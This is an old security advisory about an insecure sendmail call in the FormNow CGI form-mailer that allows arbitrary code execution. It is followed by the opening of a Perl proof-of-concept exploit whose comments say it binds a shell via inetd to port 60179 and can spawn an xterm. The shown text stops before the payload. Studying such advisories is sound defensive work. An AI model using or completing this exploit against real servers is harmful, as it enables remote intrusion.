FormNow is a script that enables administrators to mail back the results of forms on a web page. Due to an insecure calling of the sendmail program, it is possible to cause it to execute arbitrary code.
Credit:
The information has been provided by teleh0r.
## FormNow Version 1.0 / Proof of Concept exploit.
## Way to the Web Limited - www.waytotheweb.com
##
## This code exploits an insecure call to sendmail
## in the FormNow CGI script. Please note that this
## exploit will only work if the script has been
## configured to use sendmail.
##
## This exploit will attempt to bind a shell, using
## inetd, to port fido/60179. Code to spawn an xterm
## is included.
##
## [ Thu Oct 12 01:59:00 CEST 2000 ]
## http://teleh0r.cjb.net/ || teleh0r@doglover.com
use strict; use Socket;
if (@ARGV < 1) {
print("Usage: $0 <target>\n");
exit(1);
}
